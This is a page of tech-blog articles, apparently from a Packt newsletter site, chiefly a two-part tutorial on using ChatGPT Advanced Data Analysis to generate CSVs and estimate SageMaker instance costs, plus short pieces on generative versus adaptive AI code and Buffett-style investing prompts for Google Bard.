Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionChatGPT Advanced Data Analysis is an invaluable tool that significantly speeds up the analysis and processing of our data and our files. In the first part of this post, we showcased how to use this feature to generate a CSV file containing randomly generated values. In addition to this, we demonstrated how to utilize different prompts in order to process data stored in files and generate visualizations. In this second part, we’ll build on top of what we learned already and work on more complex examples and scenarios.If you’re looking for the link to the first part, here it is: Getting Started with ChatGPT Advanced Data Analysis- Part 1That said, we will tackle the Example 03, Example 04, and Current Limitations sections in this post:Example 01 — Generating a CSV file (discussed in Part 1)Example 02 — Analyzing an uploaded CSV file, transforming the data, and generating charts  (discussed in Part 1)Example 03 — Processing and analyzing an iPython notebook fileExample 04 — Processing and analyzing the contents of a ZIP fileCurrent LimitationsWhile working on the hands-on examples in this post, you’ll be surprised that ChatGPT Advanced Data Analysis is able to process and analyze various types of files such as Jupyter Notebook (.ipynb) and even ZIP files containing multiple files. As you dive into the features of ChatGPT Advanced Data Analysis, you'll discover that it serves as a valuable addition to your data analysis toolkit. This will help you unlock various ways to optimize your workflow and significantly accelerate data-driven decision-making.Without further ado, let’s begin!Example 03: Processing and analyzing an iPython notebook fileIn this third example, we will process and analyze an iPython notebook file containing blocks of code for deploying machine learning models. Here, we’ll use an existing iPython notebook file I prepared while writing my 1st book “Machine Learning with Amazon SageMaker Cookbook”. If you're wondering what an iPython notebook file is, it's essentially a document produced by the Jupyter Notebook app, which contains both computer code (like Python) and rich text elements (paragraphs, equations, figures, links, etc.). These notebooks are both human-readable documents containing the analysis description and the results (like visualizations) as well as executable code that can be run to perform data analysis. It’s popular among data scientists and researchers for creating and sharing documents that contain live code, equations, visualizations, and narrative text.Now that we have a better idea of what iPython notebook (.ipynb) files are, let’s proceed with our 3rd example:STEP # 01: Open a new browser tab. Navigate to the following link and Download the .ipynb file to your local machine by clicking Download raw file:https://github.com/PacktPublishing/Machine-Learning-with-Amazon-SageMaker-Cookbook/blob/master/Chapter09/03%20-%20Hosting%20multiple%20models%20with%20multi-model%20endpoints.ipynbImage 17 — Downloading the IPython Notebook .ipynb fileTo download the file, simply click the download button highlighted in Image 17. This should download the .ipynb file to your local machine.STEP # 02: Navigate back to the browser tab where you have your ChatGPT session open and create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 18 — Using Advanced Data AnalysisSTEP # 03: Upload the .ipynb file from your local machine to the new chat session and then run the following prompt:What's the ML instance type used in the example?This should yield the following response:Image 19 — Analyzing the uploaded file and identifying what ML instance type is used in the exampleIf you’re wondering what a machine learning (ML) instance is, you can think of it as a server or computer running specific machine learning workloads (such as training and serving machine learning models). Given that running these ML instances could be expensive, it’s best if we estimate the cost of running these instances!STEP # 04: Next, run the following prompt to locate the block of code where the ML instance type is mentioned or used:Print the code block(s) where this ML instance type is usedImage 20 — Locating the block of code where the ML instance type is usedCool, right? Here, we can see that ChatGPT can help us identify blocks of code using the right set of prompts. Make sure to verify the results and files produced by ChatGPT as you might find discrepancies or errors.STEP # 05: Run the following prompt to update the ML instance used in the previous block of code:Update the code block and use an ml.g5.2xlarge instead.Image 21 — Using ChatGPT to perform code modification instructionsHere, we can see that ChatGPT can easily perform code modification instructions as well. Note that ChatGPT is not limited to simply replacing certain portions of code blocks. It is also capable of generating code from scratch! In addition to this, it is capable of reading blocks of code as well.STEP # 06: Run the following prompt to generate a chart comparing the estimated cost per month when running ml.t2.medium and ml.g5.2xlarge inference endpoint instances:Generate a chart comparing the estimated cost per month when running an ml.t2.medium vs an ml.g5.2xlarge SageMaker inference endpoint instanceImage 22 — Estimated monthly cost comparison of running an ml.t2.medium instance vs ml.g5.2xlarge instanceMake sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.Now, let’s proceed with our final example.Example 04: Processing and analyzing the contents of a ZIP fileIn this final example, we will compare the estimated cost per month of running the ML instances in each of the chapters of my book “Machine Learning with Amazon SageMaker Cookbook”. Of course, the assumption in this example is that we’ll be running the ML instances for an entire month. In reality, we’ll only be running these examples for a few seconds (to at most a few minutes).STEP # 01: Navigate to the following link:https://github.com/PacktPublishing/Machine-Learning-with-Amazon-SageMaker-CookbookSTEP # 02:Click Code and then click Download ZIP.Image 23 — Downloading the ZIP file containing the files of the repositoryThis will download a ZIP file containing all the files inside the repository to your local machine.STEP # 03: Create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 24 — Choosing Advanced Data AnalysisSTEP # 04: Upload the downloaded Zip file from an earlier step to the new chat session (using the + button). Enter the following prompt to compare the estimated cost per month associated with running each of the examples per chapter:Analyze the contents of the ZIP file and perform the following: - for each of the directories, identify the ML instance types used - compare the estimated cost per month associated to running the ML instance types in the examples stored in each directory - group the estimated cost per month per chapter directoryThis should process the contents of the ZIP file we uploaded and yield the following response:Image 25 — Comparing the estimated cost per month per chapterWow, that seems expensive! Of course, we will NOT be running these resources for an entire month! In my first book “Machine Learning with Amazon SageMaker Cookbook”, the resources in each of the examples and recipes are only run for a few seconds to at most a few minutes and deleted almost right away. Since we only pay for what we use in Amazon Web Services (AWS), it should only cost a few dollars to complete all the examples in the book.Note that this example can be further improved by utilizing and uploading a spreadsheet with the actual price per hour of each of these instances. In addition to this, it is important to note that there are other cost factors not taken into account in this example as only the cost of running the instances are included. That said, we should also take into account the cost associated with the storage costs associated with the storage volumes attached to the instances, as well as the estimated charges for using other cloud services and resources in the account.STEP # 05: Finally, run the following prompt to compare the estimated monthly cost per chapter when running the examples of the book:Generate a bar chart comparing the estimated monthly cost per chapterThis should yield the following response:Image 26 — Bar chart comparing the estimated monthly cost for running the ML instance types per chapterCool, right? Here, we can see a bar chart that helps us compare the estimated monthly cost of running the examples in each chapter. Again, this is just for demonstration purposes as we will only be running the ML instances for a few seconds to at most a few minutes. This would mean that the actual cost would only be a tiny fraction of the overall monthly cost. In addition to this, it is important to note that there are other cost factors not taken into account in this example as only the cost of running the instances are included. Given that we’re just demonstrating the power of ChatGPT Advanced Data Analysis in this post, this simplified example should do the trick! Finally, make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.Current LimitationsBefore we end this tutorial, it is essential that we mention some of the current limitations (as of writing) when using ChatGPT Advanced Data Analysis. First, there is a file size limitation which restricts users to only uploading files up to a maximum size of 500 MB per file. This could affect those trying to analyze large datasets since they’ll be forced to divide larger files into smaller portions. In addition to this, ChatGPT retains uploaded files only during the active conversation and for an additional three hours after the conversation has been paused. Files are automatically deleted which would require users to re-upload the files to continue the analysis. Finally, we need to be aware that the execution of the instructions is done inside a sandboxed environment. This means that we are currently unable to have external integrations and perform real-time searches. Given that ChatGPT Advanced Data Analysis is still an experimental feature (that is, in Beta mode), there may still be a few limitations and issues being resolved behind the scenes. Of course, by the time you read this post, it may no longer be in Beta!That’s pretty much it. At this point, you should have a great idea on what you can accomplish using ChatGPT Advanced Data Analysis. Feel free to try different prompts and experiment with various scenarios to help you discover innovative ways to visualize and interpret your data for better decision-making.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.
Read more
  • 0
  • 0
  • 506
article-image-getting-started-with-chatgpt-advanced-data-analysis-part-1
Joshua Arvin Lat
08 Nov 2023
10 min read
Save for later

Getting Started with ChatGPT Advanced Data Analysis- Part 1

Joshua Arvin Lat
08 Nov 2023
10 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionImagine having a spreadsheet containing the certification exam scores of various members of the organization. In the past, we had to spend some time writing code that generates charts from existing comma-separated values (CSV) files and Excel spreadsheets. Instead of writing code, we could also generate charts directly in Google Spreadsheets or Microsoft Excel. We might even be tempted to utilize business intelligence tools for this type of requirement. Now, it is possible to generate charts immediately using the right set of prompts with ChatGPT Advanced Data Analysis!In this two-part post, we will showcase a few examples of what we can do using the ChatGPT Advanced Data Analysis feature. You would be surprised how powerful this capability is for solving various types of requirements and tasks. While the general audience might think of ChatGPT as being limited only to text-based conversations, its advanced data analysis capabilities go beyond just textual interactions. With its ability to understand and process various types of datasets and files, it can produce useful visualizations and perform data analysis and data transformation tasks.To demonstrate what we can do with this feature, we’ll have the following sections in this post:Example 01 — Generating a CSV fileExample 02 — Analyzing an uploaded CSV file, transforming the data, and generating chartsExample 03 — Processing and analyzing an iPython notebook file (discussed in Part 2)Example 04 — Processing and analyzing the contents of a ZIP file (discussed in Part 2)Current Limitations  (discussed in Part 2)Whether you're a student working on a project or an analyst trying to save time on manual data analysis and processing tasks, ChatGPT's Advanced Data Analysis feature can be a game-changer for your data processing needs. That said, let's dive into some of its powerful features and see what we can accomplish using this amazing feature!Example 01: Generating a CSV fileIn this first example, we will (1) enable Advanced data analysis, (2) generate a comma separated values (CSV) file containing random values, and (3) download the CSV file to our local machine. We will use this generated CSV file in the succeeding examples and steps.STEP # 01: Let’s start by signing in to your ChatGPT account. Open a new web browser tab and navigate to https://chat.openai.com/auth/login.Image 01 — Signing in to your OpenAI accountClick Log in and sign in using your registered email address and password. If you don’t have an account yet, make sure to sign up first. Since we will be using the Advanced Data Analysis feature, we need to upgrade our plan to ChatGPT Plus so that we have access to GPT-4 along with other features only available to ChatGPT Plus users.STEP # 02: Make sure that Advanced data analysis is enabled before proceeding.Image 02 — Enabling the Advanced data analysis featureSTEP # 03: Create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 03 — Using Advanced Data AnalysisSTEP # 04: In the chat box with the placeholder text “Send a message”, enter the following prompt to generate a CSV file containing 4 columns with randomly generated values:Generate a downloadable CSV spreadsheet file with 4 columns: - UUID - Name - Team - Score Perform the following: - For the UUID column, generate random UUID values - For the Name column, generate random full names - For the Team column, make sure to select only from the following teams: Technology, Business Development, Operations, Human Resources - For the Score column, generate random whole numbers between 1 to 10 - Have a total of 20 rowsAfter a few seconds, ChatGPT will give us a response similar to what we have in Image 04.Image 04 — ChatGPT generating a CSV fileHere, we can see that ChatGPT was able to successfully generate a CSV file. Awesome, right?STEP # 05: Click download it here to download the generated CSV file to your local machine. Feel free to inspect the downloaded file and verify if the instructions were implemented correctly. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.STEP # 06: Now, click Show work.Image 05 — Code used to generate the CSV fileThis should display the code or script used to perform the operations instructed by the user. You should be able to copy the code, modify it, and run it separately in your local machine or a cloud server.Wasn’t that easy? Now, let’s proceed to our second example.Example 02: Analyzing an uploaded CSV file, transforming the data, and generating chartsIn this second example, we will upload the generated CSV file from the previous example and perform various types of data transformations and analysis.STEP # 01: Create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 06 — Creating a new chat session using Advanced Data AnalysisSTEP # 02: Click the + button and upload the downloaded file from the earlier example. In addition to this, enter the following prompt:Analyze the uploaded CSV file and perform the following: - Group the records by Team - Sort the records from highest to lowest (per team) Display the table and generate a downloadable CSV file containing the final outputThis should yield a response similar to what we have in the following image:Image 07 — Using ChatGPT to analyze the uploaded CSV fileGiven that the data is randomly generated, you will get a different set of results. What’s important is that there are 4 columns: UUID (Universal Unique Identifier), Name, Team, and Score in the generated CSV file and in what is displayed in the table.STEP # 03: Click the Show work button:Image 08 — Code used to read and process the uploaded CSV fileHere, we can see that ChatGPT used Pandas DataFrames to process the data behind the scenes.STEP # 04: Locate and click the download the grouped and sorted CSV file here button. Feel free to inspect the downloaded file. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.STEP # 05: Next, enter the following prompt to generate a bar chart to compare the average scores per team:Generate a bar chart to compare the average scores per teamThis should yield the following response:Image 09 — Generating a bar chartCool, right? Here, we were able to generate a bar chart in ChatGPT. Imagine the different variations, scenarios, and possibilities of what we can do with this feature! Now, let’s check what’s happening behind the scenes in the next step.STEP # 06: Click Show workImage 10 — Code used to generate a bar chartThis should display a block of code similar to what is shown in Image 10. Here, we can see that matplotlib was used to generate the bar chart in the previous step. If you have not used matplotlib before, it’s a popular library for creating static and interactive visualizations in Python. Instead of coding this ourselves, all we need now is the right prompt!STEP # 07: Now, let’s run the following prompt to compare the maximum scores achieved by the members of each team:Generate a bar chart to compare the max scores per teamThis should yield the following response:Image 11 — Generating a bar chart to compare the max scores per teamHere, we see a bar chart comparing the maximum score achieved by the members of each team. Given that the data used was randomly generated in an earlier step, you might get a slightly different chart with different maximum score values per team. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors. STEP # 08: Enter the following prompt to group the records per team and generate a CSV file for each team:Divide the original uploaded CSV file and generate separate downloadable CSV files grouped per teamAfter a few seconds, ChatGPT will give us the following response:Image 12 — Dividing the original uploaded CSV file and generating multiple CSV files per teamFeel free to download the CSV files generated to your local machine.STEP # 09: Click Show workImage 13 — Code used to generate CSV files per teamSTEP # 10: Use the following prompt to generate a ZIP file containing the CSV files from the previous step:Generate a downloadable ZIP file containing the CSV files generated in the previous answerChatGPT should give us the following response:Image 14 — Generating a downloadable ZIP fileHere, we should be able to download the ZIP file to our local machine/laptop. Feel to verify if the CSV files are inside the ZIP file by extracting the contents and reviewing each file extracted.STEP # 11: Run the following prompt to convert the CSV files to XLSX (which is a well-known format for Microsoft Excel documents):Convert each file inside the ZIP file to XLSX and generate a new ZIP containing the XLSX filesChatGPT should give us the following response:Image 15 — ChatGPT generating a ZIP file for usAmazing, right? While we’ve been using CSV files in our examples, it does not mean that we’re limited to these types of files only. Here, we can see that we can work with XLSX files as well.STEP # 12: Download the ZIP file and open it on your local machine/laptop.STEP # 13: Run the following prompt to generate a ZIP file with all the charts generated in the current chat thread:Generate a ZIP file containing all the charts and images generated in this chat threadThis should yield the following response:Image 16 — Generating a ZIP file containing all the charts and images generated in the chat threadAmazing, right? Now, all we need to do is download the ZIP file using the link provided by ChatGPT.STEP # 14: Download the ZIP file and open it on your local machine/laptop. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.ConclusionThat wraps up the first part of this post. At this point, you should have a good idea of what you can accomplish using ChatGPT Advanced Data Analysis. However, there’s more in store for us in the second part as we’ll build on top of what we learned already and work on more complex examples and scenarios!If you’re looking for the link to the second part, here it is: Getting Started with ChatGPT Advanced Data Analysis- Part 2.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.
Read more
  • 0
  • 0
  • 493

article-image-generative-ai-with-complementary-ai-tools
Jyoti Pathak
07 Nov 2023
9 min read
Save for later

Generative AI with Complementary AI Tools

Jyoti Pathak
07 Nov 2023
9 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionGenerative AI tools have emerged as a groundbreaking technology, paving the way for innovation and creativity across various domains. Understanding the nuances of generative AI and its integration with adaptive AI tools is essential in unlocking its full potential. Generative AI, a revolutionary concept, stands tall among these innovations, enabling machines not just to replicate patterns from existing data but to generate entirely new and creative content. Combined with complementary AI tools, this technology reaches new heights, reshaping industries and fueling unprecedented creativity.                                                                                                                                SourceConcept of Generative AI ToolsGenerative AI tools encompass artificial intelligence systems designed to produce new, original content based on patterns learned from existing data. These tools employ advanced algorithms such as Generative Adversarial Networks (GANs) and Variational Autoencoders (VAEs) to create diverse outputs, including text, images, videos, and more. Their ability to generate novel content makes them invaluable in creative fields and scientific research.Difference between Generative AI and Adaptive AIWhile generative AI focuses on creating new content, adaptive AI adjusts its behavior based on the input it receives. Generative AI is about generating something new, whereas adaptive AI learns from interactions and refines its responses over time.Generative AI in ActionGenerative AI's essence lies in creating new, original content. Consider a practical example of image synthesis using a Generative Adversarial Network (GAN). GANs comprise a generator and a discriminator, engaged in a competitive game where the generator creates realistic images to deceive the discriminator. Here's a Python code snippet showcasing a basic GAN implementation using TensorFlow:import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Reshape from tensorflow.keras.layers import LeakyReLU # Define the generator model generator = Sequential() generator.add(Dense(128, input_shape=(100,))) generator.add(LeakyReLU(0.2)) generator.add(Reshape((28, 28, 1))) # Define the discriminator model (not shown for brevity) # Compile the generator generator.compile(loss='binary_crossentropy', optimizer='adam')In this code, the generator creates synthetic images based on random noise (a common practice in GANs). Through iterations, the generator refines its ability to produce images resembling the training data, showcasing the creative power of Generative AI.Adaptive AI in PersonalizationAdaptive AI, conversely, adapts to user interactions, providing tailored experiences. Let's explore a practical example of building a simple recommendation system using collaborative filtering, an adaptive AI technique. Here's a Python code snippet using the Surprise library for collaborative filtering:from surprise import Dataset from surprise import Reader from surprise.model_selection import train_test_split from surprise import SVD from surprise import accuracy # Load your data into Surprise Dataset reader = Reader(line_format='user item rating', sep=',') data = Dataset.load_from_file('path/to/your/data.csv', reader=reader) # Split data into train and test sets trainset, testset = train_test_split(data, test_size=0.2) # Build the SVD model (Matrix Factorization) model = SVD() model.fit(trainset) # Make predictions on the test set predictions = model.test(testset) # Evaluate the model accuracy.rmse(predictions)In this example, the Adaptive AI model learns from user ratings and adapts to predict new ratings. By tailoring recommendations based on individual preferences, Adaptive AI enhances user engagement and satisfaction.Generative AI sparks creativity, generating new content such as images, music, or text, as demonstrated through the GAN example. Adaptive AI, exemplified by collaborative filtering, adapts to user behavior, personalizing experiences and recommendations.By understanding and harnessing both Generative AI and Adaptive AI, developers can create innovative applications that not only generate original content but also adapt to users' needs, paving the way for more intelligent and user-friendly AI-driven solutions.Harnessing Artificial IntelligenceHarnessing AI involves leveraging its capabilities to address specific challenges or achieve particular goals. It requires integrating AI algorithms and tools into existing systems or developing new applications that utilize AI's power to enhance efficiency, accuracy, and creativity.Harnessing the power of Generative AI involves several essential steps, from selecting the suitable model to training and generating creative outputs. Here's a breakdown of the steps, along with code snippets using Python and popular machine-learning libraries like TensorFlow and PyTorch:Step 1: Choose a Generative AI ModelSelect an appropriate Generative AI model based on your specific task. Standard models include Variational Autoencoders (VAEs), Generative Adversarial Networks (GANs), and Transformers like OpenAI's GPT (Generative Pre-trained Transformer).Step 2: Prepare Your DataPrepare a dataset suitable for your task. For example, if you're generating images, ensure your dataset contains a diverse range of high-quality images. If you're generating text, organize your textual data appropriately.Step 3: Preprocess the DataPreprocess your data to make it suitable for training. This might involve resizing images, tokenizing text, or normalizing pixel values. Here's a code snippet demonstrating image preprocessing using TensorFlow:from tensorflow.keras.preprocessing.image import ImageDataGenerator # Image preprocessing datagen = ImageDataGenerator(rescale=1./255) train_generator = datagen.flow_from_directory(    'path/to/your/dataset',    target_size=(64, 64),    batch_size=32,    class_mode='binary' )Step 4: Build and Compile the Generative ModelBuild your Generative AI model using the chosen architecture. Compile the model with an appropriate loss function and optimizer. For example, here's a code snippet to create a basic generator model using TensorFlow:import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Reshape, LeakyReLU # Generator model generator = Sequential() generator.add(Dense(128, input_shape=(100,))) generator.add(LeakyReLU(0.2)) generator.add(Reshape((64, 64, 3)))  # Adjust dimensions based on your taskStep 5: Train the Generative ModelTrain your Generative AI model using the prepared dataset. Adjust the number of epochs, batch size, and other hyperparameters based on your specific task and dataset. Here's a code snippet demonstrating model training using TensorFlow:# Compile the generator model generator.compile(loss='mean_squared_error', optimizer='adam') # Train the generator generator.fit(train_generator, epochs=100, batch_size=32)Step 6: Generate Creative OutputsOnce your Generative AI model is trained, you can generate creative outputs. For images, you can generate new samples. For text, you can generate paragraphs or even entire articles. Here's a code snippet to generate images using the trained generator model:# Generate new images import matplotlib.pyplot as plt # Generate random noise as input random_noise = tf.random.normal(shape=[1, 100]) # Generate image generated_image = generator(random_noise, training=False) # Display the generated image plt.imshow(generated_image[0, :, :, :]) plt.axis('off') plt.show()By following these steps and adjusting the model architecture and hyperparameters according to your specific task, you can delve into the power of Generative AI to create diverse and creative outputs tailored to your requirements.                                                                                                                                 SourceExample of Generative AIOne prominent example of generative AI is DeepArt, an online platform that transforms photographs into artworks inspired by famous artists’ styles. DeepArt utilizes neural networks to analyze the input image and recreate it in the chosen artistic style, demonstrating the creative potential of generative AI.Positive Uses and Effects of Generative AIGenerative AI has found positive applications in various fields. In healthcare, it aids in medical image synthesis, generating detailed and accurate images for diagnostic purposes. In the entertainment industry, generative AI is utilized to create realistic special effects and animations, enhancing the overall viewing experience. Moreover, it facilitates rapid prototyping in product design, allowing for the generation of diverse design concepts efficiently.Most Used and Highly Valued Generative AIAmong the widely used generative AI technologies, OpenAI's GPT (Generative Pre-trained Transformer) stands out. Its versatility in generating human-like text has made it a cornerstone in natural language processing tasks. Regarding high valuation, NVIDIA's StyleGAN, a GAN-based model for developing lifelike images, has garnered significant recognition for its exceptional output quality and flexibility.Code Examples:To harness the power of generative AI with complementary AI tools, consider the following Python code snippet using TensorFlow:import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Reshape from tensorflow.keras.layers import LeakyReLU # Define the generative model generator = Sequential() generator.add(Dense(128, input_shape=(100,))) generator.add(LeakyReLU(0.2)) generator.add(Reshape((28, 28, 1))) # Compile the model generator.compile(loss='binary_crossentropy', optimizer='adam') # Generate synthetic data random_noise = tf.random.normal(shape=[1, 100]) generated_image = generator(random_noise, training=False)ConclusionGenerative AI, with its ability to create novel content coupled with adaptive AI, opens doors to unparalleled possibilities. By harnessing the power of these technologies and integrating them effectively, we can usher in a new era of innovation, creativity, and problem-solving across diverse industries. As we continue to explore and refine these techniques, the future holds endless opportunities for transformative applications in our rapidly advancing world.Author BioJyoti Pathak is a distinguished data analytics leader with a 15-year track record of driving digital innovation and substantial business growth. Her expertise lies in modernizing data systems, launching data platforms, and enhancing digital commerce through analytics. Celebrated with the "Data and Analytics Professional of the Year" award and named a Snowflake Data Superhero, she excels in creating data-driven organizational cultures.Her leadership extends to developing strong, diverse teams and strategically managing vendor relationships to boost profitability and expansion. Jyoti's work is characterized by a commitment to inclusivity and the strategic use of data to inform business decisions and drive progress.
Read more
  • 0
  • 0
  • 133

article-image-google-bard-for-finance
Anshul Saxena
07 Nov 2023
7 min read
Save for later

Google Bard for Finance

Anshul Saxena
07 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHey there, financial explorers!Ever felt overwhelmed by the vast sea of investment strategies out there? You're not alone. But amidst this overwhelming ocean, one lighthouse stands tall: Warren Buffett. The good news? We've teamed up with Google Bard to break down his legendary value-investing approach into bite-sized, actionable prompts. Think of it as your treasure map, leading you step-by-step through the intricate maze of investment wisdom that Buffett has championed over the years.Decoding Smart Investing: A Buffett-Inspired GuideLet's dive straight into the art of smart investing, inspired by the one and only Warren Buffett. First things first: get to know the business you're eyeing. What's their main product, and why's it special? How's their industry doing, and who are the big names in their field? It's crucial to grasp how they earn their bucks. Next, roll up your sleeves and peek into their financial health. Check out their revenues, costs, profits, and some essential numbers that give you the real picture. Now, who's steering the ship? Understand the team's past decisions, how they chat with shareholders, and if their interests align with the company's success.But wait, there's more! Every company has something that makes them stand out, be it their brand, cost efficiency, or even special approvals that keep competitors at bay. And before you take the plunge, make sure you know what the company's truly worth and if its future looks bright. We're talking about its real value and what lies ahead in terms of growth and potential hiccups.Ready to dive deep? Let's get started!Step 1. Understand the BusinessProduct or Service: Start by understanding the core product or service of the company. What do they offer, and how is it different from competitors?Industry Overview: Understand the industry in which the company operates. What are the industry's growth prospects? Who are the major players?Business Model: Dive deep into how the company makes money. What are its main revenue streams?Step 2. Analyze Financial HealthIncome Statement: Look at the company's revenues, costs, and profits over time.Balance Sheet: Examine assets, liabilities, and shareholders' equity to assess the company's financial position.Cash Flow Statement: Understand how money moves in and out of the company. Positive cash flow is a good sign.Key Ratios: Calculate and analyze ratios like Price-to-Earnings (P/E), Debt-to-Equity, Return on Equity (ROE), and others.Step 3. Management QualityTrack Record: What successes or failures has the current management team had in the past?Shareholder Communication: Buffett values management teams that communicate transparently and honestly with shareholders.Alignment: Do the management's interests align with shareholders? For instance, do they own a significant amount of stock in the company?Step 4. Competitive Advantage (or Moat)Branding: Does the company have strong brand recognition or loyalty?Cost Advantages: Can the company produce goods or services more cheaply than competitors?Network Effects: Do more users make the company's product or service more valuable (e.g., Facebook or Visa)?Regulatory Advantages: Does the company have patents, licenses, or regulatory approvals that protect it from competition?Step 5. ValuationIntrinsic Value: Estimate the intrinsic value of the company. Buffett often uses the discounted cash flow (DCF) method.The margin of Safety: Aim to buy at a price significantly below the intrinsic value to provide a cushion against unforeseen negative events or errors in valuation.Step 6. Future ProspectsGrowth Opportunities: What are the company's prospects for growth in the next 5-10 years?Risks: Identify potential risks that could derail the company's growth or profitability.Now let’s prompt our way towards making smart decisions using Google Bard. In this case, we have taken Google as a use case1. Understand the BusinessProduct or Service: "Describe the core product or service of the company. Highlight its unique features compared to competitors."Industry Overview: "Provide an overview of the industry the company operates in, focusing on growth prospects and key players."Business Model: "Explain how the company earns revenue. Identify its main revenue streams."2. Analyze Financial HealthIncome Statement: "Summarize the company's income statement, emphasizing revenues, costs, and profits trends."Balance Sheet: "Analyze the company's balance sheet, detailing assets, liabilities, and shareholder equity."Cash Flow Statement: "Review the company's cash flow. Emphasize the significance of positive cash flow."Key Ratios: "Calculate and interpret key financial ratios like P/E, Debt-to-Equity, and ROE."3. Management QualityTrack Record: "Evaluate the current management's past performance and decisions."Shareholder Communication: "Assess the transparency and clarity of management's communication with shareholders."Alignment: "Determine if management's interests align with shareholders. Note their stock ownership." 4. Competitive Advantage (or Moat)Branding: "Discuss the company's brand strength and market recognition."Cost Advantages: "Examine the company's ability to produce goods/services at a lower cost than competitors."Network Effects: "Identify if increased user numbers enhance the product/service's value."Regulatory Advantages: "List any patents, licenses, or regulatory advantages the company holds."5. ValuationIntrinsic Value: "Estimate the company's intrinsic value using the DCF method."The Margin of Safety: "Determine the ideal purchase price to ensure a margin of safety in the investment."6. Future ProspectsGrowth Opportunities: "Predict the company's growth potential over the next 5-10 years."Risks: "Identify and elaborate on potential risks to the company's growth or profitability."These prompts should guide an individual through the investment research steps in the manner of Warren Buffett.ConclusionWell, that's a wrap! Remember, the journey of investing isn't a sprint; it's a marathon. With the combined wisdom of Warren Buffett and the clarity of Google Bard, you're now armed with a toolkit that's both enlightening and actionable. Whether you're just starting out or looking to refine your investment compass, these prompts are your trusty guide. So, here's to making informed, thoughtful decisions and charting a successful course in the vast world of investing. Happy treasure hunting!Author BioDr. Anshul Saxena is an author, corporate consultant, inventor, and educator who assists clients in finding financial solutions using quantum computing and generative AI. He has filed over three Indian patents and has been granted an Australian Innovation Patent. Anshul is the author of two best-selling books in the realm of HR Analytics and Quantum Computing (Packt Publications). He has been instrumental in setting up new-age specializations like decision sciences and business analytics in multiple business schools across India. Currently, he is working as Assistant Professor and Coordinator – Center for Emerging Business Technologies at CHRIST (Deemed to be University), Pune Lavasa Campus. Dr. Anshul has also worked with reputed companies like IBM as a curriculum designer and trainer and has been instrumental in training 1000+ academicians and working professionals from universities and corporate houses like UPES, CRMIT, and NITTE Mangalore, Vishwakarma University, Pune & Kaziranga University, and KPMG, IBM, Altran, TCS, Metro CASH & Carry, HPCL & IOC. With a work experience of 5 years in the domain of financial risk analytics with TCS and Northern Trust, Dr. Anshul has guided master's students in creating projects on emerging business technologies, which have resulted in 8+ Scopus-indexed papers. Dr. Anshul holds a PhD in Applied AI (Management), an MBA in Finance, and a BSc in Chemistry. He possesses multiple certificates in the field of Generative AI and Quantum Computing from organizations like SAS, IBM, IISC, Harvard, and BIMTECH.Author of the book: Financial Modeling Using Quantum Computing
Read more
  • 0
  • 0
  • 196
article-image-palm-2-a-game-changer-in-tackling-real-world-challenges
Sangita Mahala
07 Nov 2023
9 min read
Save for later

PaLM 2: A Game-Changer in Tackling Real-World Challenges

Sangita Mahala
07 Nov 2023
9 min read
